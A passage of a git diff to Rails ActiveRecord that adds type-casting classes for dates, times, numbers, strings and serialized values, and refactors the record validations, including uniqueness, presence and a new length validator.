+          fast_string_to_date(value) || fallback_string_to_date(value)
+        elsif value.respond_to?(:to_date)
+          value.to_date
+        else
+          value
+        end
+      end
+
+      def fast_string_to_date(string)
+        if string =~ ConnectionAdapters::Column::Format::ISO_DATE
+          new_date $1.to_i, $2.to_i, $3.to_i
+        end
+      end
+
+      def fallback_string_to_date(string)
+        new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
+      end
+
+      def new_date(year, mon, mday)
+        if year && year != 0
+          ::Date.new(year, mon, mday) rescue nil
+        end
+      end
+
+      def value_from_multiparameter_assignment(*)
+        time = super
+        time && time.to_date
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/date_time.rb b/activerecord/lib/active_record/type/date_time.rb
new file mode 100644
index 0000000000..a25f2521bb
--- /dev/null
+++ b/activerecord/lib/active_record/type/date_time.rb
@@ -0,0 +1,62 @@
+module ActiveRecord
+  module Type
+    class DateTime < Value # :nodoc:
+      include Helpers::TimeValue
+      include Helpers::AcceptsMultiparameterTime.new(
+        defaults: { 4 => 0, 5 => 0 }
+      )
+
+      def type
+        :datetime
+      end
+
+      def type_cast_for_database(value)
+        if precision && value.respond_to?(:usec)
+          number_of_insignificant_digits = 6 - precision
+          round_power = 10 ** number_of_insignificant_digits
+          value = value.change(usec: value.usec / round_power * round_power)
+        end
+
+        if value.acts_like?(:time)
+          zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal
+
+          if value.respond_to?(zone_conversion_method)
+            value = value.send(zone_conversion_method)
+          end
+        end
+
+        value
+      end
+
+      private
+
+      def cast_value(string)
+        return string unless string.is_a?(::String)
+        return if string.empty?
+
+        fast_string_to_time(string) || fallback_string_to_time(string)
+      end
+
+      # '0.123456' -> 123456
+      # '1.123456' -> 123456
+      def microseconds(time)
+        time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0
+      end
+
+      def fallback_string_to_time(string)
+        time_hash = ::Date._parse(string)
+        time_hash[:sec_fraction] = microseconds(time_hash)
+
+        new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset))
+      end
+
+      def value_from_multiparameter_assignment(values_hash)
+        missing_parameter = (1..3).detect { |key| !values_hash.key?(key) }
+        if missing_parameter
+          raise ArgumentError, missing_parameter
+        end
+        super
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/decimal.rb b/activerecord/lib/active_record/type/decimal.rb
new file mode 100644
index 0000000000..867b5f75c7
--- /dev/null
+++ b/activerecord/lib/active_record/type/decimal.rb
@@ -0,0 +1,48 @@
+module ActiveRecord
+  module Type
+    class Decimal < Value # :nodoc:
+      include Helpers::Numeric
+
+      def type
+        :decimal
+      end
+
+      def type_cast_for_schema(value)
+        value.to_s
+      end
+
+      private
+
+      def cast_value(value)
+        case value
+        when ::Float
+          convert_float_to_big_decimal(value)
+        when ::Numeric, ::String
+          BigDecimal(value, precision.to_i)
+        else
+          if value.respond_to?(:to_d)
+            value.to_d
+          else
+            cast_value(value.to_s)
+          end
+        end
+      end
+
+      def convert_float_to_big_decimal(value)
+        if precision
+          BigDecimal(value, float_precision)
+        else
+          value.to_d
+        end
+      end
+
+      def float_precision
+        if precision.to_i > ::Float::DIG + 1
+          ::Float::DIG + 1
+        else
+          precision.to_i
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/decimal_without_scale.rb b/activerecord/lib/active_record/type/decimal_without_scale.rb
new file mode 100644
index 0000000000..ff5559e300
--- /dev/null
+++ b/activerecord/lib/active_record/type/decimal_without_scale.rb
@@ -0,0 +1,11 @@
+require 'active_record/type/big_integer'
+
+module ActiveRecord
+  module Type
+    class DecimalWithoutScale < BigInteger # :nodoc:
+      def type
+        :decimal
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/float.rb b/activerecord/lib/active_record/type/float.rb
new file mode 100644
index 0000000000..b3928242b7
--- /dev/null
+++ b/activerecord/lib/active_record/type/float.rb
@@ -0,0 +1,25 @@
+module ActiveRecord
+  module Type
+    class Float < Value # :nodoc:
+      include Helpers::Numeric
+
+      def type
+        :float
+      end
+
+      alias type_cast_for_database type_cast
+
+      private
+
+      def cast_value(value)
+        case value
+        when ::Float then value
+        when "Infinity" then ::Float::INFINITY
+        when "-Infinity" then -::Float::INFINITY
+        when "NaN" then ::Float::NAN
+        else value.to_f
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/hash_lookup_type_map.rb b/activerecord/lib/active_record/type/hash_lookup_type_map.rb
new file mode 100644
index 0000000000..82d9327fc0
--- /dev/null
+++ b/activerecord/lib/active_record/type/hash_lookup_type_map.rb
@@ -0,0 +1,17 @@
+module ActiveRecord
+  module Type
+    class HashLookupTypeMap < TypeMap # :nodoc:
+      delegate :key?, to: :@mapping
+
+      def alias_type(type, alias_type)
+        register_type(type) { |_, *args| lookup(alias_type, *args) }
+      end
+
+      private
+
+      def perform_fetch(type, *args, &block)
+        @mapping.fetch(type, block).call(type, *args)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/helpers.rb b/activerecord/lib/active_record/type/helpers.rb
new file mode 100644
index 0000000000..634d417d13
--- /dev/null
+++ b/activerecord/lib/active_record/type/helpers.rb
@@ -0,0 +1,4 @@
+require 'active_record/type/helpers/accepts_multiparameter_time'
+require 'active_record/type/helpers/numeric'
+require 'active_record/type/helpers/mutable'
+require 'active_record/type/helpers/time_value'
diff --git a/activerecord/lib/active_record/type/helpers/accepts_multiparameter_time.rb b/activerecord/lib/active_record/type/helpers/accepts_multiparameter_time.rb
new file mode 100644
index 0000000000..640943c5e9
--- /dev/null
+++ b/activerecord/lib/active_record/type/helpers/accepts_multiparameter_time.rb
@@ -0,0 +1,30 @@
+module ActiveRecord
+  module Type
+    module Helpers
+      class AcceptsMultiparameterTime < Module # :nodoc:
+        def initialize(defaults: {})
+          define_method(:type_cast_from_user) do |value|
+            if value.is_a?(Hash)
+              value_from_multiparameter_assignment(value)
+            else
+              super(value)
+            end
+          end
+
+          define_method(:value_from_multiparameter_assignment) do |values_hash|
+            defaults.each do |k, v|
+              values_hash[k] ||= v
+            end
+            return unless values_hash[1] && values_hash[2] && values_hash[3]
+            values = values_hash.sort.map(&:last)
+            ::Time.send(
+              ActiveRecord::Base.default_timezone,
+              *values
+            )
+          end
+          private :value_from_multiparameter_assignment
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/helpers/mutable.rb b/activerecord/lib/active_record/type/helpers/mutable.rb
new file mode 100644
index 0000000000..dc37f4a885
--- /dev/null
+++ b/activerecord/lib/active_record/type/helpers/mutable.rb
@@ -0,0 +1,18 @@
+module ActiveRecord
+  module Type
+    module Helpers
+      module Mutable # :nodoc:
+        def type_cast_from_user(value)
+          type_cast_from_database(type_cast_for_database(value))
+        end
+
+        # +raw_old_value+ will be the `_before_type_cast` version of the
+        # value (likely a string). +new_value+ will be the current, type
+        # cast value.
+        def changed_in_place?(raw_old_value, new_value)
+          raw_old_value != type_cast_for_database(new_value)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/helpers/numeric.rb b/activerecord/lib/active_record/type/helpers/numeric.rb
new file mode 100644
index 0000000000..b0d4f03117
--- /dev/null
+++ b/activerecord/lib/active_record/type/helpers/numeric.rb
@@ -0,0 +1,34 @@
+module ActiveRecord
+  module Type
+    module Helpers
+      module Numeric # :nodoc:
+        def type_cast(value)
+          value = case value
+                  when true then 1
+                  when false then 0
+                  when ::String then value.presence
+                  else value
+                  end
+          super(value)
+        end
+
+        def changed?(old_value, _new_value, new_value_before_type_cast) # :nodoc:
+          super || number_to_non_number?(old_value, new_value_before_type_cast)
+        end
+
+        private
+
+        def number_to_non_number?(old_value, new_value_before_type_cast)
+          old_value != nil && non_numeric_string?(new_value_before_type_cast)
+        end
+
+        def non_numeric_string?(value)
+          # 'wibble'.to_i will give zero, we want to make sure
+          # that we aren't marking int zero to string zero as
+          # changed.
+          value.to_s !~ /\A-?\d+\.?\d*\z/
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/helpers/time_value.rb b/activerecord/lib/active_record/type/helpers/time_value.rb
new file mode 100644
index 0000000000..6e14c3a9b5
--- /dev/null
+++ b/activerecord/lib/active_record/type/helpers/time_value.rb
@@ -0,0 +1,40 @@
+module ActiveRecord
+  module Type
+    module Helpers
+      module TimeValue # :nodoc:
+        def type_cast_for_schema(value)
+          "'#{value.to_s(:db)}'"
+        end
+
+        def user_input_in_time_zone(value)
+          value.in_time_zone
+        end
+
+        private
+
+        def new_time(year, mon, mday, hour, min, sec, microsec, offset = nil)
+          # Treat 0000-00-00 00:00:00 as nil.
+          return if year.nil? || (year == 0 && mon == 0 && mday == 0)
+
+          if offset
+            time = ::Time.utc(year, mon, mday, hour, min, sec, microsec) rescue nil
+            return unless time
+
+            time -= offset
+            Base.default_timezone == :utc ? time : time.getlocal
+          else
+            ::Time.public_send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+          end
+        end
+
+        # Doesn't handle time zones.
+        def fast_string_to_time(string)
+          if string =~ ConnectionAdapters::Column::Format::ISO_DATETIME
+            microsec = ($7.to_r * 1_000_000).to_i
+            new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/integer.rb b/activerecord/lib/active_record/type/integer.rb
new file mode 100644
index 0000000000..2ab2402dfd
--- /dev/null
+++ b/activerecord/lib/active_record/type/integer.rb
@@ -0,0 +1,63 @@
+module ActiveRecord
+  module Type
+    class Integer < Value # :nodoc:
+      include Helpers::Numeric
+
+      # Column storage size in bytes.
+      # 4 bytes means a MySQL int or Postgres integer as opposed to smallint etc.
+      DEFAULT_LIMIT = 4
+
+      def initialize(*)
+        super
+        @range = min_value...max_value
+      end
+
+      def type
+        :integer
+      end
+
+      def type_cast_from_database(value)
+        return if value.nil?
+        value.to_i
+      end
+
+      def type_cast_for_database(value)
+        result = type_cast(value)
+        if result
+          ensure_in_range(result)
+        end
+        result
+      end
+
+      protected
+
+      attr_reader :range
+
+      private
+
+      def cast_value(value)
+        case value
+        when true then 1
+        when false then 0
+        else
+          value.to_i rescue nil
+        end
+      end
+
+      def ensure_in_range(value)
+        unless range.cover?(value)
+          raise RangeError, "#{value} is out of range for #{self.class} with limit #{limit || DEFAULT_LIMIT}"
+        end
+      end
+
+      def max_value
+        limit = self.limit || DEFAULT_LIMIT
+        1 << (limit * 8 - 1) # 8 bits per byte with one bit for sign
+      end
+
+      def min_value
+        -max_value
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/serialized.rb b/activerecord/lib/active_record/type/serialized.rb
new file mode 100644
index 0000000000..6c6c520048
--- /dev/null
+++ b/activerecord/lib/active_record/type/serialized.rb
@@ -0,0 +1,45 @@
+module ActiveRecord
+  module Type
+    class Serialized < DelegateClass(Type::Value) # :nodoc:
+      include Helpers::Mutable
+
+      attr_reader :subtype, :coder
+
+      def initialize(subtype, coder)
+        @subtype = subtype
+        @coder = coder
+        super(subtype)
+      end
+
+      def type_cast_from_database(value)
+        if default_value?(value)
+          value
+        else
+          coder.load(super)
+        end
+      end
+
+      def type_cast_for_database(value)
+        return if value.nil?
+        unless default_value?(value)
+          super coder.dump(value)
+        end
+      end
+
+      def changed_in_place?(raw_old_value, value)
+        return false if value.nil?
+        subtype.changed_in_place?(raw_old_value, type_cast_for_database(value))
+      end
+
+      def accessor
+        ActiveRecord::Store::IndifferentHashAccessor
+      end
+
+      private
+
+      def default_value?(value)
+        value == coder.load(nil)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/string.rb b/activerecord/lib/active_record/type/string.rb
new file mode 100644
index 0000000000..fbc0af2c5a
--- /dev/null
+++ b/activerecord/lib/active_record/type/string.rb
@@ -0,0 +1,36 @@
+module ActiveRecord
+  module Type
+    class String < Value # :nodoc:
+      def type
+        :string
+      end
+
+      def changed_in_place?(raw_old_value, new_value)
+        if new_value.is_a?(::String)
+          raw_old_value != new_value
+        end
+      end
+
+      def type_cast_for_database(value)
+        case value
+        when ::Numeric, ActiveSupport::Duration then value.to_s
+        when ::String then ::String.new(value)
+        when true then "t"
+        when false then "f"
+        else super
+        end
+      end
+
+      private
+
+      def cast_value(value)
+        case value
+        when true then "t"
+        when false then "f"
+        # String.new is slightly faster than dup
+        else ::String.new(value.to_s)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/text.rb b/activerecord/lib/active_record/type/text.rb
new file mode 100644
index 0000000000..26f980f060
--- /dev/null
+++ b/activerecord/lib/active_record/type/text.rb
@@ -0,0 +1,11 @@
+require 'active_record/type/string'
+
+module ActiveRecord
+  module Type
+    class Text < String # :nodoc:
+      def type
+        :text
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/time.rb b/activerecord/lib/active_record/type/time.rb
new file mode 100644
index 0000000000..19a10021bc
--- /dev/null
+++ b/activerecord/lib/active_record/type/time.rb
@@ -0,0 +1,42 @@
+module ActiveRecord
+  module Type
+    class Time < Value # :nodoc:
+      include Helpers::TimeValue
+      include Helpers::AcceptsMultiparameterTime.new(
+        defaults: { 1 => 1970, 2 => 1, 3 => 1, 4 => 0, 5 => 0 }
+      )
+
+      def type
+        :time
+      end
+
+      def user_input_in_time_zone(value)
+        return unless value.present?
+
+        case value
+        when ::String
+          value = "2000-01-01 #{value}"
+        when ::Time
+          value = value.change(year: 2000, day: 1, month: 1)
+        end
+
+        super(value)
+      end
+
+      private
+
+      def cast_value(value)
+        return value unless value.is_a?(::String)
+        return if value.empty?
+
+        dummy_time_value = "2000-01-01 #{value}"
+
+        fast_string_to_time(dummy_time_value) || begin
+          time_hash = ::Date._parse(dummy_time_value)
+          return if time_hash[:hour].nil?
+          new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/type_map.rb b/activerecord/lib/active_record/type/type_map.rb
new file mode 100644
index 0000000000..09f5ba6b74
--- /dev/null
+++ b/activerecord/lib/active_record/type/type_map.rb
@@ -0,0 +1,64 @@
+require 'thread_safe'
+
+module ActiveRecord
+  module Type
+    class TypeMap # :nodoc:
+      def initialize
+        @mapping = {}
+        @cache = ThreadSafe::Cache.new do |h, key|
+          h.fetch_or_store(key, ThreadSafe::Cache.new)
+        end
+      end
+
+      def lookup(lookup_key, *args)
+        fetch(lookup_key, *args) { default_value }
+      end
+
+      def fetch(lookup_key, *args, &block)
+        @cache[lookup_key].fetch_or_store(args) do
+          perform_fetch(lookup_key, *args, &block)
+        end
+      end
+
+      def register_type(key, value = nil, &block)
+        raise ::ArgumentError unless value || block
+        @cache.clear
+
+        if block
+          @mapping[key] = block
+        else
+          @mapping[key] = proc { value }
+        end
+      end
+
+      def alias_type(key, target_key)
+        register_type(key) do |sql_type, *args|
+          metadata = sql_type[/\(.*\)/, 0]
+          lookup("#{target_key}#{metadata}", *args)
+        end
+      end
+
+      def clear
+        @mapping.clear
+      end
+
+      private
+
+      def perform_fetch(lookup_key, *args)
+        matching_pair = @mapping.reverse_each.detect do |key, _|
+          key === lookup_key
+        end
+
+        if matching_pair
+          matching_pair.last.call(lookup_key, *args)
+        else
+          yield lookup_key, *args
+        end
+      end
+
+      def default_value
+        @default_value ||= Value.new
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/unsigned_integer.rb b/activerecord/lib/active_record/type/unsigned_integer.rb
new file mode 100644
index 0000000000..ed3e527483
--- /dev/null
+++ b/activerecord/lib/active_record/type/unsigned_integer.rb
@@ -0,0 +1,15 @@
+module ActiveRecord
+  module Type
+    class UnsignedInteger < Integer # :nodoc:
+      private
+
+      def max_value
+        super * 2
+      end
+
+      def min_value
+        0
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type/value.rb b/activerecord/lib/active_record/type/value.rb
new file mode 100644
index 0000000000..7338920f3b
--- /dev/null
+++ b/activerecord/lib/active_record/type/value.rb
@@ -0,0 +1,112 @@
+module ActiveRecord
+  module Type
+    class Value
+      attr_reader :precision, :scale, :limit
+
+      def initialize(precision: nil, limit: nil, scale: nil)
+        @precision = precision
+        @scale = scale
+        @limit = limit
+      end
+
+      def type # :nodoc:
+      end
+
+      # Convert a value from database input to the appropriate ruby type. The
+      # return value of this method will be returned from
+      # ActiveRecord::AttributeMethods::Read#read_attribute. See also
+      # Value#type_cast and Value#cast_value.
+      #
+      # +value+ The raw input, as provided from the database.
+      def type_cast_from_database(value)
+        type_cast(value)
+      end
+
+      # Type casts a value from user input (e.g. from a setter). This value may
+      # be a string from the form builder, or a ruby object passed to a setter.
+      # There is currently no way to differentiate between which source it came
+      # from.
+      #
+      # The return value of this method will be returned from
+      # ActiveRecord::AttributeMethods::Read#read_attribute. See also:
+      # Value#type_cast and Value#cast_value.
+      #
+      # +value+ The raw input, as provided to the attribute setter.
+      def type_cast_from_user(value)
+        type_cast(value)
+      end
+
+      # Cast a value from the ruby type to a type that the database knows how
+      # to understand. The returned value from this method should be a
+      # +String+, +Numeric+, +Date+, +Time+, +Symbol+, +true+, +false+, or
+      # +nil+.
+      def type_cast_for_database(value)
+        value
+      end
+
+      # Type cast a value for schema dumping. This method is private, as we are
+      # hoping to remove it entirely.
+      def type_cast_for_schema(value) # :nodoc:
+        value.inspect
+      end
+
+      # These predicates are not documented, as I need to look further into
+      # their use, and see if they can be removed entirely.
+      def binary? # :nodoc:
+        false
+      end
+
+      # Determines whether a value has changed for dirty checking. +old_value+
+      # and +new_value+ will always be type-cast. Types should not need to
+      # override this method.
+      def changed?(old_value, new_value, _new_value_before_type_cast)
+        old_value != new_value
+      end
+
+      # Determines whether the mutable value has been modified since it was
+      # read. Returns +false+ by default. If your type returns an object
+      # which could be mutated, you should override this method. You will need
+      # to either:
+      #
+      # - pass +new_value+ to Value#type_cast_for_database and compare it to
+      #   +raw_old_value+
+      #
+      # or
+      #
+      # - pass +raw_old_value+ to Value#type_cast_from_database and compare it to
+      #   +new_value+
+      #
+      # +raw_old_value+ The original value, before being passed to
+      # +type_cast_from_database+.
+      #
+      # +new_value+ The current value, after type casting.
+      def changed_in_place?(raw_old_value, new_value)
+        false
+      end
+
+      def ==(other)
+        self.class == other.class &&
+          precision == other.precision &&
+          scale == other.scale &&
+          limit == other.limit
+      end
+
+      private
+
+      # Convenience method. If you don't need separate behavior for
+      # Value#type_cast_from_database and Value#type_cast_from_user, you can override
+      # this method instead. The default behavior of both methods is to call
+      # this one. See also Value#cast_value.
+      def type_cast(value) # :doc:
+        cast_value(value) unless value.nil?
+      end
+
+      # Convenience method for types which do not need separate type casting
+      # behavior for user and database inputs. Called by Value#type_cast for
+      # values except +nil+.
+      def cast_value(value) # :doc:
+        value
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type_caster.rb b/activerecord/lib/active_record/type_caster.rb
new file mode 100644
index 0000000000..63ba10c289
--- /dev/null
+++ b/activerecord/lib/active_record/type_caster.rb
@@ -0,0 +1,7 @@
+require 'active_record/type_caster/map'
+require 'active_record/type_caster/connection'
+
+module ActiveRecord
+  module TypeCaster
+  end
+end
diff --git a/activerecord/lib/active_record/type_caster/connection.rb b/activerecord/lib/active_record/type_caster/connection.rb
new file mode 100644
index 0000000000..3878270770
--- /dev/null
+++ b/activerecord/lib/active_record/type_caster/connection.rb
@@ -0,0 +1,29 @@
+module ActiveRecord
+  module TypeCaster
+    class Connection
+      def initialize(klass, table_name)
+        @klass = klass
+        @table_name = table_name
+      end
+
+      def type_cast_for_database(attribute_name, value)
+        return value if value.is_a?(Arel::Nodes::BindParam)
+        column = column_for(attribute_name)
+        connection.type_cast_from_column(column, value)
+      end
+
+      protected
+
+      attr_reader :table_name
+      delegate :connection, to: :@klass
+
+      private
+
+      def column_for(attribute_name)
+        if connection.schema_cache.table_exists?(table_name)
+          connection.schema_cache.columns_hash(table_name)[attribute_name.to_s]
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/type_caster/map.rb b/activerecord/lib/active_record/type_caster/map.rb
new file mode 100644
index 0000000000..03c9e8ff83
--- /dev/null
+++ b/activerecord/lib/active_record/type_caster/map.rb
@@ -0,0 +1,19 @@
+module ActiveRecord
+  module TypeCaster
+    class Map
+      def initialize(types)
+        @types = types
+      end
+
+      def type_cast_for_database(attr_name, value)
+        return value if value.is_a?(Arel::Nodes::BindParam)
+        type = types.type_for_attribute(attr_name.to_s)
+        type.type_cast_for_database(value)
+      end
+
+      protected
+
+      attr_reader :types
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index 26dca415ff..f27adc9c40 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -5,13 +5,14 @@ module ActiveRecord
   # +record+ method to retrieve the record which did not validate.
   #
   #   begin
-  #     complex_operation_that_calls_save!_internally
+  #     complex_operation_that_internally_calls_save!
   #   rescue ActiveRecord::RecordInvalid => invalid
   #     puts invalid.record.errors
   #   end
   class RecordInvalid < ActiveRecordError
-    attr_reader :record # :nodoc:
-    def initialize(record) # :nodoc:
+    attr_reader :record
+
+    def initialize(record)
       @record = record
       errors = @record.errors.full_messages.join(", ")
       super(I18n.t(:"#{@record.class.i18n_scope}.errors.messages.record_invalid", :errors => errors, :default => :"errors.messages.record_invalid"))
@@ -29,21 +30,6 @@ module ActiveRecord
     extend ActiveSupport::Concern
     include ActiveModel::Validations
 
-    module ClassMethods
-      # Creates an object just like Base.create but calls <tt>save!</tt> instead of +save+
-      # so an exception is raised if the record is invalid.
-      def create!(attributes = nil, &block)
-        if attributes.is_a?(Array)
-          attributes.collect { |attr| create!(attr, &block) }
-        else
-          object = new(attributes)
-          yield(object) if block_given?
-          object.save!
-          object
-        end
-      end
-    end
-
     # The validation process on save can be skipped by passing <tt>validate: false</tt>.
     # The regular Base#save method is replaced with this when the validations
     # module is mixed in, which it is by default.
@@ -54,12 +40,14 @@ module ActiveRecord
     # Attempts to save the record just like Base#save but will raise a +RecordInvalid+
     # exception instead of returning +false+ if the record is not valid.
     def save!(options={})
-      perform_validations(options) ? super : raise(RecordInvalid.new(self))
+      perform_validations(options) ? super : raise_record_invalid
     end
 
     # Runs all the validations within the specified context. Returns +true+ if
     # no errors are found, +false+ otherwise.
     #
+    # Aliased as validate.
+    #
     # If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if
     # <tt>new_record?</tt> is +true+, and to <tt>:update</tt> if it is not.
     #
@@ -71,8 +59,26 @@ module ActiveRecord
       errors.empty? && output
     end
 
+    alias_method :validate, :valid?
+
+    # Runs all the validations within the specified context. Returns +true+ if
+    # no errors are found, raises +RecordInvalid+ otherwise.
+    #
+    # If the argument is +false+ (default is +nil+), the context is set to <tt>:create</tt> if
+    # <tt>new_record?</tt> is +true+, and to <tt>:update</tt> if it is not.
+    #
+    # Validations with no <tt>:on</tt> option will run no matter the context. Validations with
+    # some <tt>:on</tt> option will only run in the specified context.
+    def validate!(context = nil)
+      valid?(context) || raise_record_invalid
+    end
+
   protected
 
+    def raise_record_invalid
+      raise(RecordInvalid.new(self))
+    end
+
     def perform_validations(options={}) # :nodoc:
       options[:validate] == false || valid?(options[:context])
     end
@@ -82,3 +88,4 @@ end
 require "active_record/validations/associated"
 require "active_record/validations/uniqueness"
 require "active_record/validations/presence"
+require "active_record/validations/length"
diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb
index b4785d3ba4..47ccef31a5 100644
--- a/activerecord/lib/active_record/validations/associated.rb
+++ b/activerecord/lib/active_record/validations/associated.rb
@@ -29,9 +29,11 @@ module ActiveRecord
       # Configuration options:
       #
       # * <tt>:message</tt> - A custom error message (default is: "is invalid").
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default (nil). You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
       #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
       #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
diff --git a/activerecord/lib/active_record/validations/length.rb b/activerecord/lib/active_record/validations/length.rb
new file mode 100644
index 0000000000..5991fbad8e
--- /dev/null
+++ b/activerecord/lib/active_record/validations/length.rb
@@ -0,0 +1,33 @@
+module ActiveRecord
+  module Validations
+    class LengthValidator < ActiveModel::Validations::LengthValidator # :nodoc:
+      def validate_each(record, attribute, association_or_value)
+        return unless should_validate?(record) || associations_are_dirty?(record)
+        if association_or_value.respond_to?(:loaded?) && association_or_value.loaded?
+          association_or_value = association_or_value.target.reject(&:marked_for_destruction?)
+        end
+        super
+      end
+
+      def associations_are_dirty?(record)
+        attributes.any? do |attribute|
+          value = record.read_attribute_for_validation(attribute)
+          if value.respond_to?(:loaded?) && value.loaded?
+            value.target.any?(&:marked_for_destruction?)
+          else
+            false
+          end
+        end
+      end
+    end
+
+    module ClassMethods
+      # See <tt>ActiveModel::Validation::LengthValidator</tt> for more information.
+      def validates_length_of(*attr_names)
+        validates_with LengthValidator, _merge_attributes(attr_names)
+      end
+
+      alias_method :validates_size_of, :validates_length_of
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/validations/presence.rb b/activerecord/lib/active_record/validations/presence.rb
index 6b14c39686..75d5bd5a35 100644
--- a/activerecord/lib/active_record/validations/presence.rb
+++ b/activerecord/lib/active_record/validations/presence.rb
@@ -2,13 +2,14 @@ module ActiveRecord
   module Validations
     class PresenceValidator < ActiveModel::Validations::PresenceValidator # :nodoc:
       def validate(record)
+        return unless should_validate?(record)
         super
         attributes.each do |attribute|
-          next unless record.class.reflect_on_association(attribute)
-          associated_records = Array(record.send(attribute))
+          next unless record.class._reflect_on_association(attribute)
+          associated_records = Array.wrap(record.send(attribute))
 
           # Superclass validates presence. Ensure present records aren't about to be destroyed.
-          if associated_records.present? && associated_records.all? { |r| r.marked_for_destruction? }
+          if associated_records.present? && associated_records.all?(&:marked_for_destruction?)
             record.errors.add(attribute, :blank, options)
           end
         end
@@ -44,9 +45,11 @@ module ActiveRecord
       #
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default (nil). You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if
       #   the validation should occur (e.g. <tt>if: :allow_validation</tt>, or
       #   <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method, proc
diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb
index b55af692d6..a766d77e88 100644
--- a/activerecord/lib/active_record/validations/uniqueness.rb
+++ b/activerecord/lib/active_record/validations/uniqueness.rb
@@ -11,14 +11,14 @@ module ActiveRecord
       end
 
       def validate_each(record, attribute, value)
+        return unless should_validate?(record)
         finder_class = find_finder_class_for(record)
         table = finder_class.arel_table
-        value = deserialize_attribute(record, attribute, value)
+        value = map_enum_attribute(finder_class, attribute, value)
 
         relation = build_relation(finder_class, table, attribute, value)
-        relation = relation.and(table[finder_class.primary_key.to_sym].not_eq(record.id)) if record.persisted?
+        relation = relation.where.not(finder_class.primary_key => record.id) if record.persisted?
         relation = scope_relation(record, table, relation)
-        relation = finder_class.unscoped.where(relation)
         relation = relation.merge(options[:conditions]) if options[:conditions]
 
         if relation.exists?
@@ -46,41 +46,55 @@ module ActiveRecord
       end
 
       def build_relation(klass, table, attribute, value) #:nodoc:
-        if reflection = klass.reflect_on_association(attribute)
+        if reflection = klass._reflect_on_association(attribute)
           attribute = reflection.foreign_key
-          value = value.attributes[reflection.primary_key_column.name]
+          value = value.attributes[reflection.klass.primary_key] unless value.nil?
         end
 
-        column = klass.columns_hash[attribute.to_s]
-        value  = klass.connection.type_cast(value, column)
-        value  = value.to_s[0, column.limit] if value && column.limit && column.text?
+        attribute_name = attribute.to_s
 
-        if !options[:case_sensitive] && value && column.text?
+        # the attribute may be an aliased attribute
+        if klass.attribute_aliases[attribute_name]
+          attribute = klass.attribute_aliases[attribute_name]
+          attribute_name = attribute.to_s
+        end
+
+        column = klass.columns_hash[attribute_name]
+        cast_type = klass.type_for_attribute(attribute_name)
+        value = cast_type.type_cast_for_database(value)
+        value = klass.connection.type_cast(value)
+        if value.is_a?(String) && column.limit
+          value = value.to_s[0, column.limit]
+        end
+
+        value = Arel::Nodes::Quoted.new(value)
+
+        comparison = if !options[:case_sensitive] && !value.nil?
           # will use SQL LOWER function before comparison, unless it detects a case insensitive collation
           klass.connection.case_insensitive_comparison(table, attribute, column, value)
         else
-          value = klass.connection.case_sensitive_modifier(value) unless value.nil?
-          table[attribute].eq(value)
+          klass.connection.case_sensitive_comparison(table, attribute, column, value)
         end
+        klass.unscoped.where(comparison)
       end
 
       def scope_relation(record, table, relation)
         Array(options[:scope]).each do |scope_item|
-          if reflection = record.class.reflect_on_association(scope_item)
